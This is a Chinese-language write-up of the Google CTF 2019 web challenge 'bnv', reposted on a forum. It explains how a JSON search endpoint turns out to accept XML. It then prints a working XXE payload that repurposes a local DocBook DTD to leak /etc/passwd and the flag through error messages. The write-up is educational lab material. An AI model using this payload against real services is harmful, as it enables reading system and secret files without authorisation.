搜索

[27387] 2019-07-10_[CTF每日一题]2019GoogleCTF-web-bnv

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-19
2019-07-10_[CTF每日一题]2019GoogleCTF-web-bnv [ C T F 每 日 一 题 ] 2 0 1 9 G o o g l e C T F - w e b - b n v 原 创   n e v e r s e c   N e v e r S e c   2 0 1 9 - 0 7 - 1 0 前 言 G o o g l e   C T F   2 0 1 9 [ 1 ]   刚 过 不 久 ， 来 一 波 复 现 ~   吐 槽 一 下 公 众 号 的 图 片 上 传 功 能 ， 老 是 失 败 ， 耽 误 了 发 文 的 速 度 ， 太 令 人 抓 狂 了 … … 题 目 题 目 地 址 是   h t t p s : / / b n v . w e b . c t f c o m p e t i t i o n . c o m / 题 目 描 述 ： 这 是 一 个 没 有 啥 好 看 的   e n t e r p r i s e - r e a d y ™   W e b 应 用 程 序 。 搞 ！
点 开 链 接 一 看 ， 为 什 么 这 么 黑 … … 从 网 页 标 题 和 中 间 的 图 片 很 明 显 是 盲 文 ， 结 合 题 目 ， 应 该 是 一 个 盲 人 用 的 网 站 ？ 网 页 中 央 是 说 “ 请 使 用 这 个 搜 索 引 擎 ， 找 一 个 离 你 最 近 的 组 织 ” ， 下 拉 框 有 三 个 城 市 可 选 。 先 看 一 下 搜 索 会 发 生 啥 吧 ： 点 击 提 交 后 ， 会   P O S T   搜 索 接 口 一 条   m e s s a g e ， 估 计 是 盲 文 代 码 ？ 然 后 返 回 了 相 应 的 信 息 。 看 一 下   J a v a S c r i p t   是 怎 么 写 的 吧 ：
数 一 数   b l i n d v a l u e s   数 组 ， 刚 好   2 6   个 ， 猜 想 是 不 是 字 母 一 一 对 应 捏 ， 打 开   C o n s o l e   验 证 一 下 ： 跟   m e s s a g e   一 模 一 样 ！ 下 一 步 ， 先 想 一 想 是 什 么 攻 击 方 式 。 如 果 该 题 是   S Q L   注 入 的 话 ， 那 这 题 只 能 使 用 纯 字 纯 字 母 母 ， 并 且 忽 略 忽 略 大 小 写 ， 这 个 有 点 难 整 啊 … …   使 用 特 殊 标 点 符 号   F u z z   脚 本 怼 一 下 ， 好 的 ， 一 点 用 都 没 有 。
思 来 想 去 ， 搜 到 了 一 个 奇 妙 的 渗 透 手 法 ： 基 于   J s o n   的   w e b   服 务 也 有 可 能 存 在 着   X X E   注 入 ！ 试 一 试 提 交   X M L ： 哎 嘿 ？ 似 乎 可 行 ？ 扔 一 个 和 提 交   J s o n   相 同 意 义 的   X M L   试 试 ？ < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   m e s s a g e [         < ! E L E M E N T   m e s s a g e   A N Y > ] > < m e s s a g e > 1 3 5 6 0 1 3 6 0 1 2 3 5 0 2 4 0 1 4 0 1 2 5 0 < / m e s s a g e >
哎 嘿 ？ 似 乎 成 功 近 在 眼 前 了 ？ 赶 紧 翻   p a y l o a d … … 整 了 好 久 ， 在   B u r p   官 网 上 看 到 了 一 个 比 较 新 颖 的 使 用 本 地   D T D   读 取 文 件 的 方 法   E x p l o i t i n g   X X E   t o   r e t r i e v e   d a t a   b y r e p u r p o s i n g   a   l o c a l   D T D [ 2 ] 这 个   p a y l o a d   主 要 是 利 用 错 误 信 息 来 打 印 目 标 文 件 的 内 容 ， 重 新 定 义 了     （ 一 般 有   G n o m e   就 有 它 ） 里 面 的   。 我 们 提 交 了 这 个   p a y l o a d   之 后 ， 当 导 入 本 地 的   D T D   文 件 时 ， 会 优 先 执 行 我 们 定 义 的   ， 因 此 可 以 达 成 任 意 文 件 读 取 。 使 用 该   p a y l o a d   成 功 读 取 ： 猜 一 下 常 见 的 路 径   ， 对 啦 ✔ d o c b o o k x . d t d I S O a m s o I S O a m s o < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   l o c a l _ d t d   S Y S T E M   " f i l e : / / / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d " >         < ! E N T I T Y   %   I S O a m s o   '                 < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >                 < ! E N T I T Y   %   e v a l   " < ! E N T I T Y   & # x 2 5 ;   e r r o r   S Y S T E M   ' f i l e : / / / n o n e x i s t e n t / % f i l e ; ' > " >                 % e v a l ;                 % e r r o r ;         ' >         % l o c a l _ d t d ; ] > / f l a g
总 结 算 是 一 道 不 错 的   X X E   利 用 题 目 ， 又 学 习 到 了 新 的 利 用 方 式 ~ R e f e r e n c e s   G o o g l e   C T F   2 0 1 9 :   h t t p s : / / c a p t u r e t h e f l a g . w i t h g o o g l e . c o m   E x p l o i t i n g   X X E   t o   r e t r i e v e   d a t a   b y   r e p u r p o s i n g   a   l o c a l   D T D :   h t t p s : / / p o r t s w i g g e r . n e t / w e b - s e c u r i t y / x x e / b l i n d / l a b - x x e - t r i g g e r - e r r o r - m e s s a g e - b y - r e p u r p o s i n g - l o c a l - d t d
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理